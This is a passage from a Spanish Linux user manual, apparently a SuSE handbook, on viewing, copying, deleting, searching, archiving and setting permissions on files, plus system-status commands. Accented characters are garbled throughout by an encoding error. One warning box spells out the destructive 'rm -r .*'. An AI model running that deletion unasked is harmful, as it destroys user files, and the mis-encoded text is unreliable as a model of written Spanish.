  30329.                            especialmente la atenci≤n ~ en la primera pßgina con contenido del_fichero,_
  30330.                            aparece  una lφnea inversa de estado en el borde inferior._Con |____________ |(barra
  30331.                            espaciadora) se puede adelantar una pßgina y con |b_ |retroceder; ver tambiΘn
  30332.                            la tabla 19.4 en la pßgina siguiente.
  30333.  
  30334.                             _______________________________________________________________________________________________________*
  30335.  *_________
  30336.  
  30337.                               h             Ayuda
  30338.                               q             Fin
  30339.  
  30340.                             _______________________________________________________________________________________________________*
  30341.  *_________
  30342.  
  30343.                                                   Tabla 19.4: Contin·a en la pßgina siguiente ...
  30344.                            _____________________________________________6
  30345.                              more de Linux sabe mßs ~ ver la pßgina del manual de more   (man  more    ) ;-)
  30346.  
  30347.  
  30348. 474
  30349.        _________________________________________________________________________________________19.7.__Trabajar_con_ficheros_______*
  30350.  *______________________
  30351.  
  30352.        ______________________________________________________________________________________________________________________
  30353.  
  30354.  
  30355.    e              Avanzar una lφnea
  30356.    y              Retroceder una lφnea
  30357.    f              Avanzar una pßgina
  30358.    b              Retroceder una pßgina
  30359.    d              Avanzar media pßgina
  30360.    u              Retroceder media pßgina
  30361.    g              Desplazarse al comienzo del fichero
  30362.    G              Desplazarse al final del fichero
  30363.    /              Iniciar una b·squeda
  30364.    n              Ir al siguiente acierto en una b·squeda
  30365.    v              Cargar un fichero en el +  editor
  30366.    F              Observar un fichero ''creciente'' de tipo (log)
  30367.    ^c             Pasar de modo F a ''normal''
  30368.  
  30369.        ______________________________________________________________________________________________________________________
  30370.  
  30371.                    Tabla 19.4: Teclas de los ''Viewers'' less (selecci≤n)
  30372.  
  30373.  
  30374.  
  30375. Con    |||||__/se da la_orden_de buscar una determinada cadena_de caracteres (p. ej.
  30376. yes   ) y pulsando |_____-|empieza la b·squeda. Si se pulsa |n_ |, aparece a contin-
  30377. uaci≤n el pr≤ximo yes    que se encuentre en el fichero.
  30378.  
  30379. Con la tecla |F__|se puede observar, p. ej. , c≤mo en un fichero_de_login_se van_
  30380. efectuando nuevas entradas. Para salir de este modo, se pulsa |C______|trl+ |c_ |.
  30381.  
  30382. Con  h |||||__se_obtiene un listado de todas las caracterφsticas_que less  pone a su
  30383. servicio; con |q_ |se sale de ''Ayuda'' y al pulsar de nuevo |q_ |finaliza el trabajo,
  30384. se sale del programa por completo y se regresa a la lφnea de comandos, junto
  30385. al prompt.
  30386.  
  30387. Para modificar ficheros de texto se utiliza un +  editor;  el editor estßndar de
  30388. un sistema Unix es vi , con el cual es imprescindible familiarizarse cuando se
  30389. tenga unos minutos de calma (ver apartado 19.15 en la pßgina 491El editor
  30390. visection.19.15).
  30391.  
  30392. 19.7.4       Ficheros ocultos
  30393.  
  30394.  
  30395. Un tipo especial de ficheros son los ficheros ocultos. Los nombres de fichero
  30396. empiezan con un punto y s≤lo es posible verlos en la shell cuando se utiliza ls
  30397. con la opci≤n -a  . Se introduce sencillamente la orden ls  -a    desde el directo-
  30398. rio de usuario. Ahora se deberßn ver en el listado, tambiΘn los ficheros ''ocul-
  30399. tos'' que llevan delante un punto, como por ej.  ~/.profile y ~/.xinitrc.
  30400. Los ficheros ocultos estßn protegidos para no ser borrados de forma involun-
  30401. taria al usar rm  *    (ver apartado 19.7.5 en la pßgina siguiente) y se pueden
  30402. eliminar, dado el caso, con una orden explicita de borrado rm  <.fichero>             .
  30403.  
  30404.  
  30405.                                                                                                                                    *
  30406.  *   475
  30407. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  30408.  *_______________________________________@
  30409.  
  30410.                            ________________________________________________________________________________________________________*
  30411.  *________||
  30412.  
  30413.                            |  Con  la  orden  rm  .*     se  borran  todos  los  ficheros  ocultos  del  actual  di-               *
  30414.  *        ||||
  30415.                            || rectorio!  Si ademßs se a±ade la opci≤n -r   (ingl. recursive) con la orden                          *
  30416.  *        ||||
  30417.  
  30418.                            |  (rm  -r  .*      ) se borrarßn tambiΘn todos los ficheros del directorio superior,                   *
  30419.  *        ||||
  30420.                            |  que tengan la forma `../bla', que es lo mismo que `.*'. Se recomienda                                *
  30421.  *        |||
  30422.                            |                                                                                                       *
  30423.  *        |||
  30424.                            |  ser muy cuidadoso al usar la option -r  !                                                            *
  30425.  *        |||
  30426.                            |_______________________________________________________________________________________________________*
  30427.  *________|||_
  30428.  
  30429.  
  30430.                            19.7.5       Copiar, renombrar y borrar ficheros
  30431.  
  30432.                            El comando para copiar ficheros en Linux es cp  :
  30433.  
  30434.                                  tux@tierra:  >  cp  fichero_original  fichero_copia
  30435.  
  30436.                            En lugar de <fichero`copia> se puede indicar tambiΘn el nombre de un di-
  30437.                            rectorio  existente;  en  tal  caso  el  fichero  original  se  copiarφa  con  el  mismo
  30438.                            nombre a este directorio. Para copiar el fichero /etc/XF86Config del direc-
  30439.                            torio /etc al directorio del usuario, se puede usar la siguiente orden:
  30440.  
  30441.                                  tux@tierra:  >  cp  /etc/XF86Config  ~
  30442.  
  30443.                            Los  ficheros  pueden  ser  borrados  con  el  comando  rm   (ingl.  remove).   Una
  30444.                            opci≤n  prßctica  es  -r  (ingl.  recursive),  mediante  la  cual  se  pueden  borrar
  30445.                            tambiΘn todos los subdirectorios y los ficheros contenidos en ellos (es com-
  30446.                            parable al comando existente desde DOS 6.0 deltree       ). Con la instrucci≤n
  30447.  
  30448.                                  tux@tierra:  >  rm  -r  bin
  30449.  
  30450.                            se borrarß p. ej.  el directorio bin del actual directorio y todos los subdirecto-
  30451.                            rios y ficheros contenidos en Θste.  Esta opci≤n debe ser utilizada con mucho
  30452.                            cuidado ya que no existe ninguna posibilidad de recuperar los ficheros borra-
  30453.                            dos por equivocaci≤n!
  30454.  
  30455.                            Con la orden mv   (ingl. move) se mueven ficheros o directorios. La sintaxis es
  30456.                            idΘntica a la de cp  . Con la orden:
  30457.  
  30458.                                  tux@tierra:  >  mv  xvnews.tgz  XVNEWS.tgz
  30459.  
  30460.                            el fichero xvnews.tgz del actual directorio serß ''movido'' al fichero de nom-
  30461.                            bre XVNEWS.tgz del actual directorio,  lo que se parece mucho a un simple
  30462.                            renombrar.  Esto es muy interesante cuando se trata de mover directorios en-
  30463.                            teros:
  30464.  
  30465.                                  tux@tierra:  >  mv  bin  ~/latex
  30466.  
  30467.                            mueve  el  directorio  bin  (si  es  que  existe  uno  en  el  directorio  actual)  a  ~/
  30468.                            latex.   Todos  los  directorios  y  ficheros  que  se  encontraban  bajo  bin,  se
  30469.                            encuentran ahora bajo ~/latex/bin.  TambiΘn hay que ir con cuidado con
  30470.                            esta instrucci≤n, ya que se puede trasladar de manera rßpida una cadena de
  30471.                            directorios a sitios que luego son muy difφciles de encontrar.
  30472.  
  30473.                            El traslado de una cadena completa de directorios es s≤lo posible dentro de
  30474.                            un mismo sistema de ficheros (o sea de una partici≤n).
  30475.  
  30476.  
  30477.  
  30478.                            19.7.6       B·squeda en ficheros
  30479.  
  30480.                            Otra orden de gran utilidad: find    . Para buscar en todos los subdirectorios el
  30481.                            fichero Mortadelo, se tendrφa que escribir el siguiente comando:
  30482.  
  30483.                                  tux@tierra:  >  find  .  -name  "Mortadelo"
  30484.  
  30485.  
  30486. 476
  30487.        _________________________________________________________________________________________19.7.__Trabajar_con_ficheros_______*
  30488.  *______________________
  30489.  
  30490.  
  30491.  
  30492. El primer argumento designa el directorio a partir del cual se inicia  la b·sque-
  30493. da. La opci≤n -name      es la cadena de caracteres que se busca, en la cual tam-
  30494. biΘn se permite introducir +   Wildcards.  Asφ,  para buscar todos los ficheros
  30495. que contengan en su nombre la cadena de caracteres `Mortadelo', se debe
  30496. modificar la anterior orden de la siguiente forma:
  30497.  
  30498.       tux@tierra:  >  find  .  -name  "*Mortadelo*"
  30499.  
  30500. Para  una  descripci≤n  mßs  detallada  recomendamos,  como  para  todos  los
  30501. demßs comandos, consultar la correspondiente Manual-Page.
  30502.  
  30503. Existe  todavφa  una  posibilidad  mßs  rßpida  de  encontrar  ficheros  mediante
  30504. locate       (tener  en  cuenta  las  Manual-Pages  de  locate      y  las  Manual-Pages
  30505. citadas en ellas).
  30506.  
  30507. Cuando no se busca un fichero con nombre especφfico, sino una determinada
  30508. cadena de caracteres en un fichero,  se utilizarß el comando grep     (ingl. get
  30509. regular  expression  pattern).   La  siguiente  instrucci≤n  busca  en  el  fichero
  30510. Mortadelo la cadena de caracteres `Filem≤n':
  30511.  
  30512.       tux@tierra:  >  grep  "Filem≤n"  Mortadelo
  30513.  
  30514. De esa manera se realiza la b·squeda de una determinada cadena de caracteres
  30515. en ficheros con textos largos.  Se puede realizar esta b·squeda en cualquier
  30516. cantidad de ficheros, utilizando wildcards y caracteres normales.  Como re-
  30517. sultado  se  obtendrßn  todas  las  lφneas  en  las  que  se  encuentre  la  cadena  de
  30518. caracteres buscada.
  30519.  
  30520. Existen muchas opciones que permiten modificar el comportamiento de grep    .
  30521. Es por ello que se aconseja leer la pßgina del manual de grep     (man  grep       ).
  30522.  
  30523.  
  30524. 19.7.7       Enlaces simb≤licos
  30525.  
  30526. Mediante la utilizaci≤n de +  Enlaces simb≤licos se puede atribuir un nombre
  30527. extra a un fichero.  Con este nombre se ''se±ala'' el fichero.  Puede pasar p. ej.
  30528. que diferentes versiones de un programa sean retiradas, pero que las consigu-
  30529. ientes nuevas versiones puedan ser siempre utilizadas bajo el mismo nombre.
  30530. La soluci≤n radica en crear un enlace simb≤lico que se±ale respectivamente la
  30531. versi≤n que se vaya a utilizar. Los enlaces simb≤licos se comportan como los
  30532. ficheros a los que se±alan, por lo tanto, tambiΘn son ejecutables. La siguiente
  30533. orden
  30534.  
  30535.       tux@tierra:  >  ln  -s  check.2.4  check
  30536.  
  30537. crea el enlace simb≤lico check, el cual se±ala al fichero check.2.4.  En el
  30538. directorio se indicarφa lo siguiente:
  30539.  
  30540.       lrwxrwxrwx  1  tux  users  1024  Mar  21  17:13  check  ->  check.2.4*
  30541.  
  30542. Los enlaces pueden, de igual manera que los ficheros, ser borrados con rm  .
  30543.        _______________________________________________________________________________________________________________________
  30544.        ||||||||  Con ello s≤lo se borra el enlace y no el fichero al cual hace referencia!                      ||             |
  30545.        ||||||||_______________________________________________________________________________________________________________||_
  30546.  
  30547.  
  30548. 19.7.8       Archivar y guardar Datos
  30549.  
  30550. Para  crear  o  desempaquetar  ficheros  se  usa  el  comando  tar    (ingl.  tape
  30551. archive).  Un fichero puede contener un solo fichero o una cadena entera de
  30552. directorios, incluφdos los ficheros que Θstos contengan.
  30553.  
  30554.  
  30555.                                                                                                                                    *
  30556.  *   477
  30557. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  30558.  *_______________________________________@
  30559.  
  30560.  
  30561.  
  30562.                            Los ficheros asφ empaquetados pueden ser tambiΘn comprimidos, lo cual re-
  30563.                            duce de manera considerable su tama±o. Normalmente a estos ficheros com-
  30564.                            primidos se les da la terminaci≤n .tgz o .tar.gz, y .tar a los no comprim-
  30565.                            idos. Los casos mßs frecuentes de utilizaci≤n del comando tar    son:
  30566.  
  30567.                             1.   Desempaquetar ficheros (p. ej.  del CD)
  30568.                                       tux@tierra:  >  tar  xvfz  fichero.tgz
  30569.  
  30570.  
  30571.                                  tar   desempaqueta (x ) el fichero fichero.tgz (f ) comprimido (z ) y crea
  30572.                                  los subdirectorios de forma automßtica. El nombre de cada fichero que en
  30573.                                  ese momento es desempaquetado aparece en la pantalla (v ).
  30574.  
  30575.                             2.   Crear ficheros
  30576.                                       tux@tierra:  >  tar  cvfz  fichero.tgz  fichero1  direc1
  30577.  
  30578.  
  30579.                                  tar    crea (c ) el fichero fichero.tgz            (f ) comprimido (z ), en el cual se
  30580.                                  incluyen  el  fichero  fichero1  y  todos  los  subdirectorios  y  ficheros  que
  30581.                                  contiene  el  directorio  direc1.   El  nombre  de  cada  fichero  que  en  ese
  30582.                                  momento es empaquetado aparece en la pantalla (v ).
  30583.  
  30584.                             3.   Mirar el contenido de un fichero
  30585.                                       tux@tierra:  >  tar  tfz  fichero.tgz
  30586.  
  30587.  
  30588.                                  tar   da un φndice (t ) del fichero fichero.tgz (f ) comprimido (z ).
  30589.  
  30590.                            La opci≤n z  indica que se debe usar el programa GNUZip  (gzip    ) para crear
  30591.                            o desempaquetar ficheros comprimidos.
  30592.  
  30593.                                  tux@tierra:  >  tar  xvf  fichero.tar
  30594.  
  30595.                            desempaqueta el fichero no comprimido fichero.tar.  Se obtiene mßs in-
  30596.                            formaci≤n con la instrucci≤n:
  30597.  
  30598.                                  tux@tierra:  >  tar  --help
  30599.  
  30600.  
  30601.  
  30602.                            19.8        Autorizaciones para ficheros
  30603.  
  30604.                            S≤lo  el  usuario  `root'  tiene,  como  administrador  del  sistema,  acceso  sin
  30605.                            restricciones  a  todos  los  ficheros.   Esto  tambiΘn  significa  que  es  el  ·nico
  30606.                            autorizado para otorgar o quitar todos los derechos de acceso.
  30607.  
  30608.  
  30609.                            19.8.1       El concepto de las autorizaciones
  30610.  
  30611.                            La distribuci≤n de los derechos de acceso sobre un fichero, se estructura en
  30612.                            tres categorφas:
  30613.  
  30614.                              o   Derechos del propietario ((ingl. owner))
  30615.  
  30616.                              o   Derechos de los miembros de un grupo ((ingl. group))
  30617.  
  30618.                              o   Derechos de todos los demßs ((ingl. others))
  30619.  
  30620.                            En el listado de ficheros (forma larga) de un directorio, cada una de estas tres
  30621.                            categorφas se representa mediante tres caracteres.
  30622.  
  30623.                            Contando  el  primer  carßcter,  que  representa  el  tipo  de  fichero  (d,  l,  o  -),
  30624.                            tendremos los 10 banderines de cada fichero.  Cada banderφn es representado
  30625.                            por  un  carßcter.   Los  banderines  son  los  mismos  para  las  tres  categorφas:
  30626.  
  30627.  
  30628. 478
  30629.        ______________________________________________________________________________19.8.__Autorizaciones_para_ficheros___________*
  30630.  *______________________
  30631.  
  30632.  
  30633.  
  30634. `r' para leer (ingl. readable), `w' para escribir (ingl. writable) y `x' para
  30635. ejecutar (ingl. executable).  El carßcter `-' indica que no se ha colocado el
  30636. banderφn, y por lo tanto esa opci≤n no estß autorizada.  Observemos a modo
  30637. de ejemplo el fichero imaginario linux.info.
  30638.  
  30639.       -rw-r-xr--     1  tux  users    29524  Jun  29  13:11  linux.info
  30640.  
  30641.  
  30642.  
  30643.    Figura 19.1: Representaci≤n de las autorizaciones de acceso a un fichero
  30644.  
  30645.  
  30646. En el caso del fichero linux.info, Θsto significarφa lo siguiente:  El propi-
  30647. etario del fichero (tux) puede modificarlo y leerlo, los miembros del grupo
  30648. users s≤lo pueden leerlo y ejecutarlo, mientras que el resto de los usuarios
  30649. del sistema s≤lo pueden leerlo.  El primer carßcter `-' de la cadena indica
  30650. que se trata de un +  fichero (ingl. regular file) ''normal''.
  30651.  
  30652. Con los directorios ocurre igual. En este caso, el primer carßcter de la cadena
  30653. es `d' (ingl. directory). Por ejemplo:
  30654.  
  30655.       drwxr-xr--     3  tux  users    1024  Jun  29  13:11  info/
  30656.  
  30657. Cuando a un directorio se le ha colocado el banderφn `x',  significa que se
  30658. tiene acceso a Θl.
  30659.  
  30660. En nuestro ejemplo significarφa que los usuarios que no pertenecen al grupo
  30661. users no pueden acceder al directorio info.
  30662.  
  30663.  
  30664. Cambiar las autorizaciones de acceso
  30665.  
  30666. El cambio de las autorizaciones de acceso se realiza con el comando chmod
  30667. (ingl. change mode). Por lo general se necesitan para chmod     dos argumentos:
  30668.  
  30669.   o   las autorizaciones de acceso a cambiar, y
  30670.  
  30671.   o   el nombre de fichero.
  30672.  
  30673. Las categorφas de los tres posibles grupos se indican con `u' para el propi-
  30674. etario o usuario (ingl. user), `g' para el grupo (ingl. group) y `o' para todos
  30675. los demßs (ingl. others).  Tras esto se indican las autorizaciones a cambiar.
  30676. Para a±adir un permiso se usa `+' y el signo `-' para quitar el mismo.  El
  30677. siguiente comando p. ej.  modifica las autorizaciones del fichero linux.info
  30678. para los miembros del grupo a lectura, escritura y ejecutable:
  30679.  
  30680.       tux@tierra:  >  chmod  g+rwx  linux.info
  30681.  
  30682. Modificando las autorizaciones de todas las categorφas de usuarios,  es sufi-
  30683. ciente indicar el cambio de las mismas.  En el siguiente ejemplo,  las autor-
  30684. izaciones sobre el fichero linux.info se modifican de tal manera, que nadie
  30685. tenga acceso de escritura (derecho de escribir y modificar):
  30686.  
  30687.       tux@tierra:  >  chmod  -w  linux.info
  30688.  
  30689. Las autorizaciones de lectura y ejecuci≤n no se ven afectadas.
  30690.  
  30691. Existe tambiΘn la posibilidad de a±adir y de quitar autorizaciones con un solo
  30692. comando.  La siguiente orden cambia los derechos sobre el fichero linux.
  30693. info a ejecutable, no legible y no modificable:
  30694.  
  30695.  
  30696.                                                                                                                                    *
  30697.  *   479
  30698. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  30699.  *_______________________________________@
  30700.  
  30701.  
  30702.  
  30703.                                  tux@tierra:  >  chmod  u+x-rw  linux.info
  30704.                            De lo cual resulta:
  30705.  
  30706.                                  tux@tierra:  >  ls  -l  linux.info
  30707.                                     ---xr-xr--     1  tux  users    29524  Jun  29  13:11  linux.info
  30708.                            Otros  comandos  que  son  interesantes  en  este  contexto  son  chown      para  el
  30709.                            ''cambio de propietario'' (ingl. change owner) y el comando chgrp     para cam-
  30710.                            biar el grupo (ingl. change group).
  30711.  
  30712.  
  30713.  
  30714.                            19.9        Manual-Pages
  30715.  
  30716.                            Las ''Manual-Pages'' (pßginas de manual) informan sobre comandos, ficheros
  30717.                            de configuraci≤n y las funciones de biblioteca de C. En la tabla 19.5 se anotan
  30718.                            las distintas posibilidades para el comando man   .
  30719.  
  30720.                             _______________________________________________________________________________________________________*
  30721.  *_________
  30722.  
  30723.                               man  <palabra  clave>                                           llama   la   Manual-Page   de
  30724.                                                                                               <palabra clave>.
  30725.  
  30726.  
  30727.                               man  -f  <palabra  clave>                                       busca por <palabra clave> y
  30728.                                                                                               apunta las Manual-Pages en-
  30729.                                                                                               contradas.
  30730.  
  30731.  
  30732.                               man  -k  <palabra  clave>                                       busca  en  todas  las  secciones
  30733.                                                                                               de   las   Manpages   por   una
  30734.                                                                                               con  la  palabra  clave  <pala-
  30735.                                                                                               bra  clave>  y  apunta  las  que
  30736.                                                                                               se hayan encontrado.
  30737.  
  30738.  
  30739.                               man  <secci≤n>  <palabra  clave>                                llama   la   Manual-Page   de
  30740.                                                                                               <palabra   clave>   desde   la
  30741.                                                                                               <secci≤n>.  Asφ que p. ej.  el
  30742.                                                                                               comando  man  1  man        llama
  30743.                                                                                               la Manual-Page del comando
  30744.                                                                                               man   desde la secci≤n 1 .
  30745.  
  30746.                             _______________________________________________________________________________________________________*
  30747.  *_________
  30748.  
  30749.                                                        Tabla 19.5: Llamadas al comando man
  30750.                            Cuando se estß en el sistema X Window tambiΘn se puede usar el programa
  30751.                            xman    .   No  obstante  el  comando  normal  man    tiene  su  raz≤n  de  ser,  ya  que
  30752.                            simplemente es mßs rßpido. Para mostrar las Manual-Pages, el comando man
  30753.                            usa la herramienta less (ver apartado 19.7.3 en la pßgina 474El contenido de
  30754.                            los ficherossubsection.19.7.3).  Si se tiene instalado el sistema de ayuda de
  30755.                            SuSE    , se pueden consultar las Manual-Pages c≤modamente.
  30756.  
  30757.                            Las  Manual-Pages  se  separan  en  diferentes  secciones  (ver  tabla  19.6  en  la
  30758.                            pßgina siguiente).
  30759. 480
  30760.        ____________________________________________________________19.10.__Informaci≤n_sobre_el_estado_del_sistema_________________*
  30761.  *______________________
  30762.  
  30763.        ______________________________________________________________________________________________________________________
  30764.  
  30765.  
  30766.    1      Descripci≤n  de  los  comandos  de  usuario  aparte  de  aquellos  que
  30767.           vienen  integrados  con  bash     o  tcsh   ;  hay  informaci≤n  sobre  estos
  30768.           en la Manual-Page de la shell usada.
  30769.    2      Las llamadas al sistema de las distintas bibliotecas.
  30770.    3      Las funciones de biblioteca de C.
  30771.    4      Descripci≤n de ficheros de configuraci≤n.
  30772.    5      La sintaxis de ficheros importantes.
  30773.    6      Descripci≤n de juegos.
  30774.    7      Todo lo que tiene que ver con texto, formatos de texto u otros.
  30775.    8      Los comandos del administrador de sistema.
  30776.    9      Descripci≤n de las rutinas de kernel de Linux.
  30777.    n      n  seg·n el dicho se deriva de ''nuevo''.  Aquφ hay Manual-Pages que
  30778.           pertenecen a las secciones indicadas arriba, pero que se han quedado
  30779.           aquφ por tradici≤n.  TambiΘn hay de las que no pertenecen a ninguna
  30780.           de las secciones mencionadas.
  30781.  
  30782.        ______________________________________________________________________________________________________________________
  30783.  
  30784.                          Tabla 19.6: Secciones de las Manual-Pages
  30785.  
  30786. Se  debe  tener  en  cuenta  que  no  existe  una  Manual-Page  para  cada  palabra
  30787. clave o comando.  Es posible encontrar informaci≤n en /usr/doc/, p. ej.  en
  30788. /usr/doc/howto/en,  /usr/doc/howto/en/mini  o  individual  para  cada
  30789. paquete en /usr/doc/packages.
  30790. 19.10         Informaci≤n sobre el estado del sistema
  30791.  
  30792.  
  30793. Muchas veces es importante tener informaci≤n sobre el estado del sistema.
  30794. En esto ayudan p. ej. los comandos df  , free    , ps  , top   .
  30795.  
  30796.  
  30797.  
  30798. 19.10.1        El comando df
  30799.  
  30800.  
  30801. df   informa sobre el espacio usado y disponible en el disco duro. La respuesta
  30802. en pantalla es parecida a la del salida en pantalla 19.10.1.
  30803.  
  30804.        _______________________________________________________________________________________________________________________||
  30805.        ||||||||                                                                                                                |
  30806.        ||||||||    Filesystem  1024-blocks       Used  Available  Capacity  Mounted  on                                        |
  30807.        ||||||||                                                                                                                |
  30808.        ||||||||                                                                                                                |
  30809.        ||||||||    /dev/sda4            699392    659258           5165           99%  /home                                   |
  30810.        ||||||||    /dev/sda1            102384     23955         73310           25%  /                                        |
  30811.        ||||||||                                                                                                                |
  30812.        ||||||||    /dev/sdb1           2097136  2070485         26651           99%  /usr                                      |
  30813.        ||||||||    /dev/sda3            126976    106908         20068           84%  /opt                                     |
  30814.        ||||||||                                                                                                                |
  30815.        ||||||||_______________________________________________________________________________________________________________ |
  30816.  
  30817.                Mensaje en pantalla 19.10.1: Respuesta del comando df
  30818.                                                                                                                                    *
  30819.  *   481
  30820. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  30821.  *_______________________________________@
  30822.  
  30823.                            ________________________________________________________________________________________________________*
  30824.  *________||
  30825.                            |                          total    used    free  shared  buffers  cached                               *
  30826.  *         |
  30827.                            ||   Mem:                30900  29272    1628    25608       1012     6412                              *
  30828.  *         ||
  30829.                            |                                                                                                       *
  30830.  *         |
  30831.                            |    -/+  buffers:            28260    2640                                                             *
  30832.  *         |
  30833.                            |    Swap:              66524     176  66348                                                            *
  30834.  *         |
  30835.                            |                                                                                                       *
  30836.  *         |
  30837.                            |_______________________________________________________________________________________________________*
  30838.  *________ |
  30839.  
  30840.                                         Mensaje en pantalla 19.10.2: Respuesta del comando free
  30841.  
  30842.  
  30843.  
  30844.                            19.10.2        El comando free
  30845.  
  30846.                            free     informa  sobre  la  ocupaci≤n  de  la  memoria  y  del  ßrea  de  intercambio
  30847.                            (swap); ver salida en pantalla 19.10.2:
  30848.  
  30849.                            Mßs informaci≤n en el anexo F en la pßgina 529┐Por quΘ consume Linux toda
  30850.                            la memoria?Item.247.
  30851.  
  30852.  
  30853.                            19.10.3        El comando ulimit
  30854.  
  30855.                            El  comando  ulimit      (ingl.  user  limits)  permite  limitar  los  recursos  de  sis-
  30856.                            tema  o  visualizarlos.   ulimit       es  especialmente  ·til  para  limitar  es  uso  de
  30857.                            la  +  Memoria  por  parte  de  las  aplicaciones.   Asφ  es  posible  evitar  que  una
  30858.                            aplicaci≤n se reserve demasiada o toda la memoria lo que podrφa provocar el
  30859.                            cuelgue del sistema.
  30860.  
  30861.                            ulimit       tiene varias opciones; algunas que pueden limitar el gasto de memo-
  30862.                            ria figuran en la tabla 19.7.
  30863.  
  30864.                             _______________________________________________________________________________________________________*
  30865.  *_________
  30866.  
  30867.                               -m        Tama±o mßximo de memoria RAM
  30868.                               -v        Tama±o mßximo del fichero de intercambio (Swap)
  30869.                               -s        Tama±o mßximo de las pilas
  30870.                               -c        tama±o mßximo de los fichero core
  30871.                               -a        Mostrar lφmites establecidos
  30872.  
  30873.  
  30874.  
  30875.                             _______________________________________________________________________________________________________*
  30876.  *_________
  30877.  
  30878.                                           Tabla 19.7: ulimit      : Limitar los recursos para el usuario
  30879.  
  30880.  
  30881.  
  30882.                            Los  lφmites  para  todo  el  sistema  se  pueden  establecer  en  /etc/profile.
  30883.                            TambiΘn  es  en  este  fichero,  d≤nde  se  debe  dar  de  alta  la  creaci≤n  de  los
  30884.                            ficheros  core,  que  necesitan  los  programadores  para  depurar  c≤digo  (ingl.
  30885.                            debugging).  Los usuarios no pueden aumentar los valores que el +   admin-
  30886.                            istrador de sistema define en /etc/profile, pero si que pueden hacer una
  30887.                            configuraci≤n personal en ~/.bashrc; ver el fichero 19.10.1.
  30888.                            ________________________________________________________________________________________________________*
  30889.  *________||
  30890.                            |                                                                                                       *
  30891.  *         |
  30892.                            |    #  Limitar  la  memoria  RAM:                                                                      *
  30893.  *         |
  30894.                            |    ulimit  -m  98304                                                                                  *
  30895.  *         |
  30896.                            |                                                                                                       *
  30897.  *         |
  30898.                            |                                                                                                       *
  30899.  *         |
  30900.                            |    #  Limitar  la  memoria  virtual  (swap):                                                          *
  30901.  *         |
  30902.                            |    ulimit  -v  98304                                                                                  *
  30903.  *         |
  30904.                            |                                                                                                       *
  30905.  *         |
  30906.                            |_______________________________________________________________________________________________________*
  30907.  *________ |
  30908. 482                                  Fichero 19.10.1: Establecer lφmites con ulimit       en ~/.bashrc
  30909.  
  30910.  
  30911.                            Todos los valores se han de indicar en KB.
  30912.  
  30913.                            Informaci≤n  mßs  detallada  se  encuentra  en  pßgina  del  manual  de  bash
  30914.                            (man  bash       ).
  30915.        ____________________________________________________________19.10.__Informaci≤n_sobre_el_estado_del_sistema_________________*
  30916.  *______________________
  30917.  
  30918.  
  30919.  
  30920. 19.10.4        El comando w
  30921. El comando w  muestra todos los usuarios que actualmente han entrado a su
  30922.  
  30923. cuenta en el sistema.  Aparte de indicar la cantidad de usuarios conectados,
  30924. aparecen otros datos ·tiles como son la carga actual del sistema,  el tiempo
  30925. que  el  sistema  estß  en  marcha  y  lo  que  hacen  los  usuarios  (ver  salida  en
  30926. pantalla 19.10.3).
  30927.  
  30928.        _______________________________________________________________________________________________________________________||||
  30929.        ||||||||                                                                                                                |
  30930.        ||||||||     11:05am   up  21  days,  21:10,  8  users,   load  average:  0.23,  0.10,  0.10                            |
  30931.        ||||||||    USER        TTY          FROM                      LOGIN@     IDLE     JCPU     PCPU   WHAT                 |
  30932.        ||||||||                                                                                                                |
  30933.        ||||||||    root        tty1        -                 11:02am   3:34     0.10s   0.05s   -bash                          |
  30934.        ||||||||    tux          tty3        -                 11:04am   1:24     1.29s   1.22s   emacs                         |
  30935.        ||||||||    tux          pts/1      :0.0             11Feb  0  19:42m   1:18     0.02s   sed                            |
  30936.        ||||||||    tux          pts/2      :0.0             30Jan  0  18:35m  56.29s     ?        -                            |
  30937.        ||||||||                                                                                                                |
  30938.        ||||||||    tux          pts/6      :0.0             31Jan  0   4.00s   1.47s     ?        -                            |
  30939.        ||||||||    tux          pts/3      :0.0             31Jan  0   2days   1.86s   1.44s   bash                            |
  30940.        ||||||||    tux          pts/9      :0.0              1Feb  0   2days   3.52s     ?        -                            |
  30941.        ||||||||    tux          pts/10     :0.0              2Feb  0  59:19     9.10s   8.56s   lynx                           |
  30942.        ||||||||                                                                                                                |
  30943.        ||||||||    tux          pts/11     :0.0              2Feb  0   0.00s  26:49     0.01s                                  |
  30944.        ||||||||                                                                                  rlogin  venus                 |
  30945.        ||||||||    tux          pts/12     venus.cosmos.univ     11:09am   0.00s   0.11s   0.04s   w                           |
  30946.        ||||||||                                                                                                                |
  30947.        ||||||||_______________________________________________________________________________________________________________ |
  30948.  
  30949.                 Mensaje en pantalla 19.10.3: Respuesta del comando w
  30950.  
  30951.  
  30952.  
  30953. 19.10.5        El comando du
  30954.  
  30955. El  comando  du   (ingl.  disk  usage)  informa  sobre  la  ocupaci≤n  de  disco  por
  30956. parte de los distintos ficheros y sub-directorios.  Hay mßs informaci≤n en la
  30957. pßgina del manual de du   (man  du     ).
  30958.  
  30959.  
  30960. 19.10.6        El comando kill
  30961.  
  30962. Mediante este comando se pueden mandar se±ales a procesos +  Proceso que
  30963. estßn en funcionamiento. Para ello se necesita el n·mero de identificaci≤n de
  30964. proceso (ingl. process id),  abreviado:  PID. Este n·mero se averigua con el
  30965. comando ps   (ver apartado 19.10.7). El comando kill     se ejecuta con:
  30966.  
  30967.       tierra:  #  kill  <pid>
  30968.  
  30969. Si  el  proceso  absorbiera  la  se±al  de  parada,  es  posible  detenerlo  con  el
  30970. parßmetro opcional -9  . El comando:
  30971.  
  30972.       tierra:  #  kill  -9  <pid>
  30973.  
  30974. para el proceso con el <pid> definitivamente.
  30975.  
  30976.  
  30977. 19.10.7        El comando ps
  30978.  
  30979. El comando ps   (ingl. process status) muestra los procesos que ha iniciado el
  30980. usuario. Hay informaci≤n adicional en la pßgina del manual de ps   (man  ps     ).
  30981. Usando la opci≤n ps  -a    se muestran tambiΘn los procesos iniciados por parte
  30982. de los demßs usuarios en la misma computadora. Se pueden parar procesos en
  30983. ejecuci≤n especφficos indicando el n·mero de proceso (1a  columna la salida
  30984. en pantalla de ps  ) (ver apartado 19.10.6).
  30985.  
  30986.  
  30987.  
  30988.                                                                                                                                    *
  30989.  *   483
  30990. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  30991.  *_______________________________________@
  30992.  
  30993.  
  30994.  
  30995.                            19.10.8        El comando pstree
  30996.                            El  comando  pstree       ilustra  el  ''ßrbol  de  procesos''  completo  tal  como  se
  30997.  
